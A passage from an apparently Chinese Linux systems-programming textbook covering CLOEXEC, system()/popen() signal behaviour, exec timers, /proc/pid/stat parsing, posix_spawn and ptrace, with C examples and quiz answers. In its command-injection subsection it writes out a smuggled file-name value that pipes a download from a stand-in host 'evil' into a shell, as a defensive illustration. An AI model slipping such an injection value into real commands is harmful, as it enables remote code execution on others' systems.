socket(..., SOCK_CLOEXEC) | 设置 | 原子 |
close_range(first, last, CLOSE_RANGE_CLOEXEC) | 批量设置 | 原子(Linux 5.11+) |
非原子窗口的经典事故:线程 A 执行 fd = open(log); fcntl(fd, F_SETFD, FD_CLOEXEC);,两步之间线程 B fork() 并 exec() 了一个不受信程序;子程序继承了日志 fd,可以往日志里写伪造内容,也可以 lseek 破坏父进程的写入位置。O_CLOEXEC 把这两步合成一步,窗口消失。
- 「
dup会继承FD_CLOEXEC」——不会。dup(fd)的新 fd 的 CLOEXEC 位是清的。要让副本也 CLOEXEC,用F_DUPFD_CLOEXEC或dup3(..., O_CLOEXEC)。 - 「
O_CLOEXEC影响fork的子进程」——不影响。fork后 fd 仍在,CLOEXEC 只在exec时生效。想让 fork 的子进程看不到 fd,得自己close。 - 「
FD_CLOEXEC能防止 fd 被继承到孙进程」——能,只要中间没有dup掉这一位。exec 关闭后,孙进程自然看不到。 - 「
system()会关闭父进程的 fd」——不会。system的子 shell 继承所有未 CLOEXEC 的 fd;这是 setuid 程序里system危险的另一面。
批量关闭:close_range()
Linux 5.9 加入 close_range(unsigned int first, unsigned int last, unsigned int flags),一次关闭一段 fd。它解决两个问题:
- 性能:
for (fd = 3; fd < 1024; fd++) close(fd);在 fd 很多时要上千次系统调用;close_range(3, ~0U, 0)一次完成。 - 正确性:遍历关闭时,另一个线程可能恰好打开新 fd 并落在待关闭区间,被误关。
close_range在内核里对 fd 表加锁一次完成,没有这个窗口(但并发open仍可能拿到关闭后的编号,这是另一类问题)。
flags 有两个值:0 表示关闭;CLOSE_RANGE_CLOEXEC(5.11+)表示只设 FD_CLOEXEC 不关闭。后者适合「fork 前把所有 fd 标成 CLOEXEC,但自己还要用」的场景。
/* 只保留 0/1/2,其余全部标记 CLOEXEC;失败回退到逐 fd 设置 */
#include <fcntl.h>
#include <sys/syscall.h>
#include <unistd.h>
static void mark_all_cloexec(void)
{
#ifdef SYS_close_range
if (syscall(SYS_close_range, 3, ~0U, CLOSE_RANGE_CLOEXEC) == 0)
return;
#endif
long maxfd = sysconf(_SC_OPEN_MAX);
if (maxfd < 0 || maxfd > 65536)
maxfd = 65536;
for (int fd = 3; fd < maxfd; fd++) {
int flags = fcntl(fd, F_GETFD);
if (flags != -1)
(void)fcntl(fd, F_SETFD, flags | FD_CLOEXEC);
}
}
close_range 在 seccomp 默认白名单里通常没有,容器里可能返回 EPERM/ENOSYS;上面的 #ifdef 加回退分支是必要的。
程序:一次 exec 前后的 fd 审计
下面的程序打开 64 个 fd,一半带 CLOEXEC,然后 exec 自己,统计 exec 后还剩多少、哪些泄漏。
/* exec_fd_audit.c:exec 前后的 fd 继承审计 */
#include <errno.h>
#include <fcntl.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#define MARK "--after-exec"
#define NFDS 64
static void die(const char *msg)
{
perror(msg);
exit(EXIT_FAILURE);
}
static int count_open(int *leaked, int max_leaked)
{
int open_count = 0, n = 0;
for (int fd = 3; fd < 256; fd++) {
int flags = fcntl(fd, F_GETFD);
if (flags == -1)
continue;
open_count++;
if (n < max_leaked)
leaked[n++] = fd;
}
return open_count;
}
int main(int argc, char **argv)
{
if (argc > 1 && strcmp(argv[1], MARK) == 0) {
int leaked[16];
int n = count_open(leaked, 16);
printf("after exec: open fds=%d (expect %d)\n", n, NFDS / 2);
printf("leaked :");
for (int i = 0; i < n && i < 16; i++)
printf(" %d", leaked[i]);
printf("\n");
/* 验证泄漏的 fd 确实可写:往 stderr 写一行即可 */
for (int i = 0; i < n; i++) {
if (leaked[i] == STDOUT_FILENO || leaked[i] == STDERR_FILENO)
continue;
if (write(leaked[i], "X", 1) == -1 && errno == EBADF)
printf("fd %d unexpectedly bad\n", leaked[i]);
}
return n == NFDS / 2 ? EXIT_SUCCESS : EXIT_FAILURE;
}
/* 打开 64 个 fd:偶数带 O_CLOEXEC,奇数不带 */
for (int i = 0; i < NFDS; i++) {
int flags = O_WRONLY | O_CREAT | O_APPEND;
if (i % 2 == 0)
flags |= O_CLOEXEC;
int fd = open("/tmp/exec_fd_audit.log", flags, 0644);
if (fd == -1)
die("open");
if (fd >= 256) { /* 编号超出审计范围,主动关掉 */
close(fd);
continue;
}
}
int leaked[16];
printf("before exec: open fds=%d\n", count_open(leaked, 16));
fflush(NULL);
char exe[4096];
ssize_t len = readlink("/proc/self/exe", exe, sizeof exe - 1);
if (len <= 0)
die("readlink /proc/self/exe");
exe[len] = '\0';
char *new_argv[] = { exe, (char *)MARK, NULL };
execv(exe, new_argv);
die("execv");
}
cc -std=c17 -D_GNU_SOURCE -Wall -Wextra -Werror -O2 -g exec_fd_audit.c -o exec_fd_audit
./exec_fd_audit; echo "exit=$?"
before exec: open fds=64
after exec: open fds=32 (expect 32)
leaked : 3 5 7 9 11 13 15 17 19 21 23 25 27 29 31 33
exit=0
before 是 64,after 是 32,泄漏的全是奇数 fd(没有 O_CLOEXEC 的那一半)。注意 fd 3 也在里面:程序没有假定「3 一定是某个特定 fd」,而是按位审计。把 flags |= O_CLOEXEC 改成「先 open 再 fcntl」,在单线程里结果一样,但多线程下就会出现非原子窗口。
2.8.10 system()/popen() 的进程与信号真相
这一节回答:system() 到底阻塞/忽略了哪些信号,为什么在 SIGCHLD 处理器存在时可能等错进程,popen() 的死锁从哪来。
system() 的精确步骤
POSIX 对 system() 的要求比多数人以为的细:
- 阻塞
SIGCHLD; - 忽略
SIGINT与SIGQUIT; fork();- 子进程恢复信号掩码与处置(
SIGINT/SIGQUIT恢复为调用前的状态),然后execl("/bin/sh", "sh", "-c", command, NULL); - 父进程
waitpid()等 shell,期间若收到SIGINT/SIGQUIT,先记下,等 shell 结束后再重新raise 给自己; - 恢复信号掩码与处置,返回状态。
glibc 的实现用 __posix_spawn 或 fork,并用 do_system 里的 __libc_sigaction 保存/恢复。两个后果:
- 调用者的
SIGCHLD处理器在system()期间不会运行(SIGCHLD被阻塞),所以不会抢走 shell 子进程;但如果你在system()返回后立刻waitpid(-1),可能收到ECHILD(shell 已被system收走)。 SIGINT/SIGQUIT处理器在system()期间不触发。用户按Ctrl-C,信号送到前台进程组(shell 和它的子进程),你的程序因为忽略而存活;若 shell 退出后你恢复处理器,glibc 会把手期间到达的SIGINT补发给自身(实现细节依版本)。
- 「
system期间按 Ctrl-C 会杀掉我的程序」——不会,SIGINT被忽略;被杀的是 shell 及前台子进程。 - 「
system返回后可以安全waitpid(-1)」——可能ECHILD。system已经回收了它的 shell 子进程;你的其它子进程仍在。 - 「
system(NULL)只是判断/bin/sh存在」——它真的会 fork 一个 shell 并执行空命令,返回非 0 表示 shell 可用。它在 setuid 程序里同样受PATH/环境的影响。
注入不是「引号没加够」
system("tar czf /backup/" + name + ".tgz /data") 里,name 为 x; curl evil | sh 就能执行任意命令。给 name 加单引号也不够:如果 name 里含单引号,攻击者可以闭合引号。正确做法是根本不要经过 shell:
/* 直接 exec,参数作为数组传递,shell 没有机会解释 */
pid_t pid = fork();
if (pid == 0) {
execlp("tar", "tar", "czf", archive_path, "/data", (char *)NULL);
_exit(127);
}
如果必须用 shell(比如要执行用户给的整条命令),就要接受「用户能执行任意命令」这个事实,并通过权限隔离(单独的低权限用户、namespace、seccomp)限制后果,而不是试图过滤字符串。
popen() 的死锁与 pclose() 的 ECHILD
popen(cmd, "w") 的典型死锁:子进程往 stdout/stderr 写大量数据,管道缓冲区(64 KiB)写满后阻塞;父进程正往 stdin 写,也阻塞;双方互等。解决办法:
- 用
"r"读子进程输出,不要同时大量写; - 需要双向通信用
socketpair+fork+dup2,并在父进程用poll/epoll同时读写(2.18); - 不关心输出就重定向到
/dev/null。
pclose() 返回 wait4 的状态;如果 popen 的子进程已被你的 SIGCHLD 处理器回收,pclose 返回 -1 且 errno = ECHILD。这类 bug 的表象是「pclose 偶尔失败」,根因是信号处理器与 popen 抢同一个子进程。
/* 安全的 pclose 解码 */
int status = pclose(fp);
if (status == -1) {
if (errno == ECHILD)
fprintf(stderr, "pclose: child already reaped by SIGCHLD handler\n");
else
perror("pclose");
} else if (WIFEXITED(status)) {
printf("exit=%d\n", WEXITSTATUS(status));
} else if (WIFSIGNALED(status)) {
printf("signal=%d\n", WTERMSIG(status));
}
程序:用 alarm 给 exec 出来的子进程加超时
alarm()/setitimer() 设置的定时器跨 exec 保留(exec 只清除 POSIX timer_create 定时器)。利用这一点,可以在子进程 exec 之前设一个闹钟,让新程序无论跑多久都会在超时后收到 SIGALRM 而终止——这就是 timeout(1) 的核心手法之一。
/* exec_timeout.c:alarm + exec,父进程解码 SIGALRM 死亡 */
#include <errno.h>
#include <signal.h>
#include <stdio.h>
#include <stdlib.h>
#include <sys/wait.h>
#include <unistd.h>
static void on_alarm(int sig)
{
(void)sig; /* 故意安装处理器:exec 后应被复位,子进程会被 SIGALRM 杀死 */
}
int main(void)
{
pid_t pid = fork();
if (pid == -1) {
perror("fork");
return EXIT_FAILURE;
}
if (pid == 0) {
struct sigaction sa = {0};
sa.sa_handler = on_alarm;
sigemptyset(&sa.sa_mask);
if (sigaction(SIGALRM, &sa, NULL) == -1)
_exit(126);
alarm(1); /* 1 秒后 SIGALRM;跨 exec 保留 */
execlp("sleep", "sleep", "5", (char *)NULL);
_exit(127); /* exec 失败 */
}
int status;
while (waitpid(pid, &status, 0) == -1) {
if (errno != EINTR) {
perror("waitpid");
return EXIT_FAILURE;
}
}
if (WIFSIGNALED(status)) {
printf("child killed by signal %d (%s)\n", WTERMSIG(status),
WTERMSIG(status) == SIGALRM ? "SIGALRM: alarm survived exec" : "other");
return WTERMSIG(status) == SIGALRM ? EXIT_SUCCESS : EXIT_FAILURE;
}
if (WIFEXITED(status)) {
printf("child exited normally, code=%d (alarm lost?)\n", WEXITSTATUS(status));
return EXIT_FAILURE;
}
printf("unexpected status 0x%x\n", (unsigned)status);
return EXIT_FAILURE;
}
cc -std=c17 -D_GNU_SOURCE -Wall -Wextra -Werror -O2 -g exec_timeout.c -o exec_timeout
time ./exec_timeout; echo "exit=$?"
child killed by signal 14 (SIGALRM: alarm survived exec)
exit=0
real 0m1.003s
关键在两点:子进程在 exec 前安装了 SIGALRM 处理器,但 exec 后被复位为默认,所以 SIGALRM 直接杀死它;sleep 5 只跑了 1 秒。如果 alarm 没有跨 exec 保留,输出会是 child exited normally, code=0,耗时 5 秒。把 alarm(1) 换成 timer_create() 的 POSIX 定时器,结论反过来:exec 后定时器消失,子进程会睡满 5 秒。
2.8.11 /proc/{pid}/stat 的字段与 getrusage 的口径
这一节回答:/proc/{pid}/stat 的 52 个字段分别是什么,哪些字段在僵尸状态仍然有效,getrusage 的累计口径与 /proc 的实时值怎么对上。
字段表(按 proc(5) 的顺序)
| 序号 | 名称 | 单位/类型 | 说明 | 僵尸时 |
|---|---|---|---|---|
| 1 | pid | 整数 | 进程 ID | 有效 |
| 2 | comm | 字符串 | 括号内,可能含空格与 ) | 有效 |
| 3 | state | 字符 | R/S/D/Z/T/t/W/X | Z |
| 4 | ppid | 整数 | 父进程 ID | 有效 |
| 5 | pgrp | 整数 | 进程组 ID | 有效 |
| 6 | session | 整数 | 会话 ID | 有效 |
| 7 | tty_nr | 整数 | 控制终端设备号 | 有效 |
| 8 | tpgid | 整数 | 前台进程组 ID | 有效 |
| 9 | flags | 位掩码 | PF_* 内核标志 | 部分 |
| 10–13 | minflt/cminflt/majflt/cmajflt | 次 | 缺页计数,c 前缀含已回收子进程 | 有效 |
| 14–15 | utime/stime | 时钟滴答 | 用户/内核 CPU 时间,除以 _SC_CLK_TCK | 有效 |
| 16–17 | cutime/cstime | 时钟滴答 | 已回收子进程的累计 CPU | 有效 |
| 18–19 | priority/nice | 整数 | 动态优先级、nice 值 | 有效 |
| 20 | num_threads | 整数 | 线程数 | 1 |
| 21 | itrealvalue | 整数 | 已废弃,恒 0 | 0 |
| 22 | starttime | 时钟滴答 | 自开机起的启动时刻 | 有效 |
| 23 | vsize | 字节 | 虚拟地址空间大小 | 0 |
| 24 | rss | 页 | 驻留集页数(乘 sysconf(_SC_PAGESIZE)) | 0 |
| 25 | rsslim | 字节 | RLIMIT_RSS 当前值 | 有效 |
| 26–29 | startcode/endcode/startstack/kstkesp | 地址 | 代码段、栈、内核栈指针 | 部分 |
| 30–34 | kstkeip/signal/blocked/sigignore/sigcatch | 位图 | 内核指令指针、信号掩码 | 部分 |
| 35 | wchan | 地址 | 睡眠时内核函数地址(需权限) | 0 |
| 36–37 | nswap/cnswap | 页 | 已废弃,恒 0 | 0 |
| 38 | exit_signal | 整数 | 退出时发给父进程的信号 | 有效 |
| 39 | processor | 整数 | 最后运行的 CPU | 有效 |
| 40–41 | rt_priority/policy | 整数 | 实时优先级、调度策略 | 有效 |
| 42 | delayacct_blkio_ticks | 时钟滴答 | 阻塞 I/O 等待时间 | 有效 |
| 43–44 | guest_time/cguest_time | 时钟滴答 | 虚拟化 guest 时间 | 有效 |
| 45–47 | start_data/end_data/start_brk | 地址 | 数据段、堆边界 | 部分 |
| 48–51 | arg_start/arg_end/env_start/env_end | 地址 | 参数与环境区边界 | 部分 |
| 52 | exit_code | 整数 | waitpid(2) 形式的 wait status(Linux 3.5+) | 有效 |
exit_code 是 waitpid(2) 形式的 wait status,不是「低 8 位退出码 + 高 8 位 core 标志」:正常退出时退出码在 bits 8–15(_exit(42) → 0x2a00),被信号杀死时低 7 位是信号号、bit 7 是 core dump 标志。它只在 state == Z 时有意义;解码用 WIFEXITED/WEXITSTATUS/WIFSIGNALED/WTERMSIG,不要手写位移。解析时不要按空格 split 后直接取第 52 个 token:comm 里的空格会让所有下标偏移,必须先定位最后一个 )。
程序:运行中与僵尸状态各读一次
/* stat_fields.c:/proc/<pid>/stat 字段解析 + wait4 rusage 对照 */
#include <errno.h>
#include <signal.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/resource.h>
#include <sys/wait.h>
#include <time.h>
#include <unistd.h>
#define NTOK 60
static void die(const char *msg)
{
perror(msg);
exit(EXIT_FAILURE);
}
/* 把 ')' 之后的字段按空格切成 token;tok[0] 对应字段 3(state) */
static int read_stat(pid_t pid, char tok[][64], int max)
{
char path[64], buf[4096];
snprintf(path, sizeof path, "/proc/%ld/stat", (long)pid);
FILE *fp = fopen(path, "r");
if (fp == NULL)
return -1;
if (fgets(buf, sizeof buf, fp) == NULL) {
fclose(fp);
return -1;
}
fclose(fp);
char *p = strrchr(buf, ')');
if (p == NULL)
return -1;
p++;
int n = 0;
char *save = NULL;
for (char *t = strtok_r(p, " \n", &save); t != NULL && n < max;
t = strtok_r(NULL, " \n", &save)) {
snprintf(tok[n], 64, "%s", t);
n++;
}
return n;
}
static long tok_long(char tok[][64], int n, int idx, long dflt)
{
if (idx >= n)
return dflt;
return strtol(tok[idx], NULL, 10);
}
int main(void)
{
pid_t pid = fork();
if (pid == -1)
die("fork");
if (pid == 0) {
size_t len = 16u << 20;
char *p = malloc(len);
if (p == NULL)
_exit(120);
for (size_t i = 0; i < len; i += 4096)
p[i] = 1;
/* 烧一点 CPU,让 utime 可见 */
volatile unsigned long acc = 0;
for (unsigned long i = 0; i < 60000000UL; i++)
acc += i;
_exit(42);
}
char tok[NTOK][64];
int n = -1;
char state = '?';
/* 轮询直到僵尸:vsize 归零、exit_code 有效 */
for (int i = 0; i < 200; i++) {
n = read_stat(pid, tok, NTOK);
if (n >= 1) {
state = tok[0][0];
if (state == 'Z')
break;
}
struct timespec ts = { 0, 10 * 1000 * 1000 }; /* 10 ms */
nanosleep(&ts, NULL);
}
if (state != 'Z') {
fprintf(stderr, "child did not become zombie (state=%c), killing\n", state);
kill(pid, SIGKILL);
waitpid(pid, NULL, 0);
return EXIT_FAILURE;
}
long hz = sysconf(_SC_CLK_TCK);
long page = sysconf(_SC_PAGESIZE);
unsigned long utime = (unsigned long)tok_long(tok, n, 11, 0);
unsigned long stime = (unsigned long)tok_long(tok, n, 12, 0);
long threads = tok_long(tok, n, 17, 0);
unsigned long start = (unsigned long)tok_long(tok, n, 19, 0);
long vsize = tok_long(tok, n, 20, 0);
long rss = tok_long(tok, n, 21, 0);
long exit_code = tok_long(tok, n, 49, 0);
printf("stat: state=%c threads=%ld utime=%lu stime=%lu\n",
state, threads, utime, stime);
printf("stat: vsize=%ld rss=%ld pages (%ld KiB) starttime=%lu\n",
vsize, rss, rss * page / 1024, start);
printf("stat: utime+stime=%.3fs (HZ=%ld) exit_code=0x%lx\n",
(double)(utime + stime) / (double)hz, hz, exit_code);
struct rusage ru;
int status;
if (wait4(pid, &status, 0, &ru) == -1)
die("wait4");
printf("wait: exited=%d code=%d maxrss=%ld KiB minflt=%ld majflt=%ld\n",
WIFEXITED(status), WEXITSTATUS(status),
(long)ru.ru_maxrss, (long)ru.ru_minflt, (long)ru.ru_majflt);
printf("wait: utime=%.3fs stime=%.3fs nvcsw=%ld nivcsw=%ld\n",
(double)ru.ru_utime.tv_sec + ru.ru_utime.tv_usec / 1e6,
(double)ru.ru_stime.tv_sec + ru.ru_stime.tv_usec / 1e6,
(long)ru.ru_nvcsw, (long)ru.ru_nivcsw);
return EXIT_SUCCESS;
}
cc -std=c17 -D_GNU_SOURCE -Wall -Wextra -Werror -O2 -g stat_fields.c -o stat_fields
./stat_fields
stat: state=Z threads=1 utime=6 stime=0
stat: vsize=0 rss=0 pages (0 KiB) starttime=482913
stat: utime+stime=0.060s (HZ=100) exit_code=0x2a00
wait: exited=1 code=42 maxrss=16520 KiB minflt=4180 majflt=0
wait: utime=0.060s stime=0.000s nvcsw=1 nivcsw=0
几个对照点:
exit_code=0x2a00是 wait status:WIFEXITED(0x2a00)为真,WEXITSTATUS(0x2a00)==42;它只因为进程是僵尸才可读,进程被回收后/proc目录消失。- 僵尸的
vsize/rss已经是 0,内存页在exit_mm()时释放;maxrss只能从wait4的rusage拿。 utime以时钟滴答计,HZ=100时 6 个滴答 = 60 ms,与rusage的0.060s对上。num_threads在僵尸状态是 1(只剩组长),不代表运行时的线程数。
status 是给人和脚本读的键值格式:VmRSS、VmSize、Threads、SigQ、SigPnd、ShdPnd、SigBlk、SigIgn、SigCgt、NoNewPrivs、Seccomp。statm 是 7 个数字:size resident shared text lib data dt,单位都是页。要观测信号掩码与未决信号,用 status 比 stat 的位图字段可读得多。
times() 与 clock():老式进程时间接口
getrusage 是现代接口;老代码还会用 times() 和 clock():
#include <sys/times.h>
#include <time.h>
struct tms t;
clock_t ticks = times(&t); /* 返回自开机以来的 clock ticks */
long hz = sysconf(_SC_CLK_TCK); /* 每秒多少 tick,通常 100 */
double user = (double)t.tms_utime / hz;
double sys = (double)t.tms_stime / hz;
clock_t c = clock(); /* 进程 CPU 时间,单位 CLOCKS_PER_SEC */
区别:
| 接口 | 时间基准 | 单位 | 回绕 | 备注 |
|---|---|---|---|---|
times() | POSIX:任意点;Linux 2.6+:boot 前 (2^32/HZ)-300 秒 | clock_t tick | 约 248 天(仅 32 位系统;clock_t 为有符号 32 位 long,100 Hz,2^31/100/86400 ≈ 248.5;64 位 LP64 不回绕) | 同时给自身/子进程 user/sys |
clock() | 进程 CPU | CLOCKS_PER_SEC(glibc=1e6) | 32 位约 72 分钟(2^32/1e6);64 位不回绕 | 不含子进程;现代实现常用 CLOCK_PROCESS_CPUTIME_ID |
getrusage() | 进程/子进程 | timeval | 无 | 字段更多,推荐 |
clock_gettime() | 任意 clock | timespec | 无 | 纳秒,推荐 |
clock() 返回 CPU 时间,不是 elapsed time;sleep(1) 期间它几乎不增长。要测墙钟用 CLOCK_MONOTONIC,要测 CPU 用 CLOCK_PROCESS_CPUTIME_ID 或 getrusage。
2.8.12 posix_spawn() 与 ptrace 的进阶用法
posix_spawn() 的完整形状
posix_spawn() 把「fork + 在子进程里做一堆文件操作 + exec」封装成一个调用,返回错误码而不是设置 errno:
int posix_spawn(pid_t *pid, const char *path,
const posix_spawn_file_actions_t *file_actions,
const posix_spawnattr_t *attrp,
char *const argv[], char *const envp[]);
int posix_spawnp(pid_t *pid, const char *file, /* 查 PATH */
const posix_spawn_file_actions_t *file_actions,
const posix_spawnattr_t *attrp,
char *const argv[], char *const envp[]);
file_actions 按添加顺序在子进程里执行,支持:
| 操作 | 函数 | 说明 |
|---|---|---|
| 打开/重定向 | addopen(fa, fd, path, flags, mode) | 等价于 open + dup2 |
| 关闭 | addclose(fa, fd) | 关闭指定 fd |
| 复制 | adddup2(fa, fd, newfd) | dup2 |
| 改目录 | addchdir_np(fa, path) | glibc 2.29+,非 POSIX |
| 改目录(fd) | addfchdir_np(fa, fd) | glibc 2.34+ |
| 批量关闭 | addclosefrom_np(fa, lowfd) | glibc 2.34+ |
attrp 的标志控制子进程属性:
| flag | 作用 | 备注 |
|---|---|---|
POSIX_SPAWN_SETSIGDEF | 把 sigdefault 里的信号复位为默认 | exec 本来就会复位捕获的处理器 |
POSIX_SPAWN_SETSIGMASK | 设置子进程信号掩码 | sigmask |
POSIX_SPAWN_SETSID | 子进程调用 setsid() | glibc 2.26+ |
POSIX_SPAWN_SETPGROUP | 设置进程组 | pgroup |
POSIX_SPAWN_SETSCHEDPARAM | 设置调度参数 | 需要权限 |
POSIX_SPAWN_SETSCHEDULER | 设置调度策略 | 需要权限 |
POSIX_SPAWN_SETRESUID | 设置真实/有效/保存 UID | glibc 扩展,非 POSIX |
POSIX_SPAWN_SETRESGID | 设置 GID 三件套 | glibc 扩展 |
posix_spawn 的返回值就是错误码:成功 0,失败返回 ENOENT/EACCES/EAGAIN/ENOMEM 等,不设置 errno。用 perror 之前要先 errno = rc,否则打印的是旧 errno。
glibc 在多数平台上用 clone(CLONE_VM | CLONE_VFORK) 实现 posix_spawn,比 fork 少一次页表复制。但这也意味着:file_actions 里的操作运行在「共享父进程地址空间」的子进程里,只能使用 async-signal-safe 的实现;glibc 内部对此有专门处理,你自己往 file_actions 里塞不了任意函数。
ptrace 的选项与 PTRACE_GET_SYSCALL_INFO
上一篇的 PTRACE_SYSCALL 循环只用了 PTRACE_SETOPTIONS。实际调试器/追踪器还要用这些选项:
| 选项 | 作用 | 典型用途 |
|---|---|---|
PTRACE_O_TRACESYSGOOD | syscall-stop 的信号号变成 SIGTRAP|0x80 | 区分断点与 syscall |
PTRACE_O_TRACEFORK | 自动跟踪 fork 的子进程 | strace -f |
PTRACE_O_TRACEVFORK | 自动跟踪 vfork 的子进程 | strace -f |
PTRACE_O_TRACECLONE | 自动跟踪 clone 的线程 | strace -f |
PTRACE_O_TRACEEXEC | exec 时给 tracer 一个事件 | 观察 exec 边界 |
PTRACE_O_TRACEEXIT | 退出时给事件 | 清理 |
PTRACE_O_EXITKILL | tracer 死时杀死 tracee | 防止孤儿 tracee |
PTRACE_O_SUSPEND_SECCOMP | 暂停 tracee 的 seccomp | 调试沙箱 |
PTRACE_GET_SYSCALL_INFO(Linux 5.3+)一次返回系统调用号、参数、返回值、栈指针,避免在 32/64 位兼容模式下手工读寄存器:
struct ptrace_syscall_info info;
if (ptrace(PTRACE_GET_SYSCALL_INFO, pid, sizeof info, &info) == -1)
perror("PTRACE_GET_SYSCALL_INFO");
else if (info.op == PTRACE_SYSCALL_INFO_ENTRY)
printf("enter syscall %llu\n", (unsigned long long)info.entry.nr);
else if (info.op == PTRACE_SYSCALL_INFO_EXIT)
printf("exit ret %lld\n", (long long)info.exit.rval);
ptrace 的权限边界:非 root 只能跟踪自己的后代,或目标显式 PTRACE_TRACEME;Yama LSM 的 kernel.yama.ptrace_scope 默认 1,只允许跟踪直系子进程;容器里通常需要 CAP_SYS_PTRACE。PTRACE_ATTACH 会给目标发 SIGSTOP,目标可能因此改变行为——这是「观察者效应」在系统编程里的具体例子。
strace -f -e trace=process,execve,execveat -o /tmp/trace.txt ./prog:先看进程创建与 exec;strace -f -e trace=%file -o /tmp/files.txt ./prog:看打开了哪些文件、哪些失败;strace -f -e trace=%signal -o /tmp/sig.txt ./prog:看信号与rt_sigaction;strace -f -c ./prog:按系统调用聚合时间与次数,找热点;- 需要参数内容时加
-s 256 -v;需要时间戳加-tt -T。
2.8.13 两个观测实验
实验一:strace 看 fork/exec/wait 的完整序列
strace -f -e trace=clone,clone3,execve,execveat,wait4,exit_group \
-o /tmp/spawn.trace sh -c 'sleep 0.1; exit 7'
grep -v ENOENT /tmp/spawn.trace | head -20
echo "shell exit=$?"
预期输出(PID 与地址会不同):
12345 clone(child_stack=NULL, flags=CLONE_CHILD_CLEARTID|...|SIGCHLD, ...) = 12346
12345 wait4(-1, <unfinished ...>
12346 execve("/usr/bin/sleep", ["sleep", "0.1"], 0x7ffd...) = 0
12346 exit_group(0) = ?
12345 <... wait4 resumed>) = 12346
12345 exit_group(7) = ?
怎么读:
clone(...SIGCHLD)是fork()的底层形态;child_stack=NULL表示共享父进程栈(fork 语义)。execve成功后 strace 显示= 0,但实际进程已不再返回;这是 strace 的显示约定。wait4的返回值是子进程 PID(12346),不是退出码;退出码在 strace 里不显示,要-e trace=wait4 -v或看 shell 的$?。exit_group(7)是 shell 自己的退出,7就是$?。
实验二:/proc/{pid}/stat 与 ps 的字段对照
# 起一个后台进程,抓它的 stat
sleep 30 & pid=$!
awk '{print "state=" $3, "ppid=" $4, "utime=" $14, "stime=" $15, "threads=" $20, "vsize=" $23, "rss_pages=" $24}' /proc/$pid/stat
ps -o pid,stat,ppid,time,rss,vsz,nlwp -p $pid
kill $pid
预期输出:
state=S ppid=12340 utime=0 stime=0 threads=1 vsize=14720 rss_pages=220
PID STAT PPID TIME RSS VSZ NLWP
12350 S 12340 00:00:00 880 14720 1
对照关系:rss_pages=220 × 4 KiB = 880 KiB,正好是 ps 的 RSS;vsize 单位是字节,ps 的 VSZ 是 KiB(14720);threads 对应 NLWP;utime/stime 是时钟滴答,ps 的 TIME 已经换算成 时:分:秒。如果进程是僵尸,ps 的 RSS/VSZ 变成 0,而 STAT 是 Z。
2.8.14 十二个陷阱:现象、原因、修复
| # | 现象 | 原因 | 修复 |
|---|---|---|---|
| 1 | execve 返回 EACCES,但 ls -l 有 x | 路径中某级目录缺 x,或挂载点 noexec | namei -l、findmnt -T |
| 2 | execve 返回 ENOEXEC,脚本明明有 shebang | shebang 行超过 127 字节;#! 后是 CRLF;解释器路径含空格 | head -1 | xxd,改用短路径 |
| 3 | #!/usr/bin/env python3 -u 失败 | 内核把 python3 -u 当作一个参数 | 选项写进脚本或用 wrapper |
| 4 | 子进程继承了不该有的 fd | open 后 fcntl 设 CLOEXEC 的非原子窗口 | 一律 O_CLOEXEC/SOCK_CLOEXEC/pipe2 |
| 5 | system() 返回 0x7f00,程序当成失败 | 把 wait 状态当退出码 | WIFEXITED/WEXITSTATUS 解码 |
| 6 | system() 在 setuid 程序里被提权 | shell 继承 euid,PATH/IFS 可注入 | 不用 system,直接 execve 绝对路径 |
| 7 | pclose() 偶发 ECHILD | SIGCHLD 处理器抢先回收了子进程 | 统一回收点;popen 期间阻塞 SIGCHLD |
| 8 | popen(cmd,"w") 卡死 | 子进程输出写满管道,父进程不读 | 改双向 socketpair + poll,或重定向输出 |
| 9 | getrusage(RUSAGE_CHILDREN).ru_maxrss=0 | 子进程尚未 wait;或统计的是累计值 | 用 wait4 拿单个子进程 |
| 10 | /proc/pid/stat 解析错位 | comm 含空格/括号,按空格 split | 先找最后一个 ) |
| 11 | posix_spawn 失败但 errno 是旧值 | 它返回错误码,不设 errno | errno = rc; perror(...) |
| 12 | ptrace 把断点当成 syscall 边界 | 没设 PTRACE_O_TRACESYSGOOD | 检查 WSTOPSIG == (SIGTRAP|0x80) |
| 13 | 容器里 fexecve 报 ENOENT | /proc 未挂载或 fd 带 O_CLOEXEC | 用 execveat(AT_EMPTY_PATH) |
| 14 | exec 后 SIGTERM 处理器不见了 | 捕获的处理器跨 exec 复位 | 新程序自己重装;忽略状态才会保留 |
2.8.15 本章出口检查
| 检查项 | 达标线 | 没达标去哪 |
|---|---|---|
| 说出 exec 保留/重置的属性 | 能覆盖 fd、信号、cwd、定时器 | 2.8.1 |
区分 execv/execvp/execve | 说清 PATH 与环境来源 | 2.8.2 |
| 解释 shebang 的参数限制 | 知道只能带一个参数 | 2.8.2 |
用 FD_CLOEXEC 控制 fd 继承 | 能跑出 fd 4 消失的结果 | 2.8.3 |
正确解码 system()/pclose() | 知道返回值是 wait 状态 | 2.8.4 |
用 waitid 区分退出与被杀 | 知道 si_code 不是退出码 | 2.8.6 |
说出 getrusage 的三个口径限制 | 累计、已回收、单位差异 | 2.8.6 |
Q1 一个程序执行 execve("/tmp/x", ...),/tmp/x 是一个以 #!/bin/sh 开头的脚本。内核实际执行了什么?argv 如何排列?
Q2 父进程打开了 fd 3(无 CLOEXEC),子进程 exec 后还能看到 fd 3。如果父进程在 fork 前 dup2(3, 4),exec 后子进程能看到哪些?偏移共享吗?
Q3 system("exit 3") 返回 0x0300。system("kill -TERM $$") 返回什么?system("nonexistent") 呢?
Q4 getrusage(RUSAGE_CHILDREN) 报 maxrss=0,但子进程明明用了 100 MB。列出至少两种原因。
Q5 为什么 ptrace 的 PTRACE_SYSCALL 循环里要检查 WSTOPSIG(status) == (SIGTRAP | 0x80)?
答案
A1 内核识别 #!,改为执行 /bin/sh,argv 变成 ["/bin/sh", "/tmp/x", 原 argv[1], ...]。脚本路径成为一个参数,原脚本的 $0 是 /tmp/x。
A2 两个 fd 都在(都没有 CLOEXEC),它们指向同一个打开文件描述,偏移共享。exec 只关闭带 FD_CLOEXEC 的 fd,不改变共享关系。
A3 kill -TERM $$ 让 shell 被 SIGTERM 杀死,返回的 wait 状态满足 WIFSIGNALED,WTERMSIG=15(原始值通常是 0x000f)。nonexistent 由 shell 报错并以 127 退出,返回 0x7f00,WEXITSTATUS=127。若 fork 失败则返回 -1。
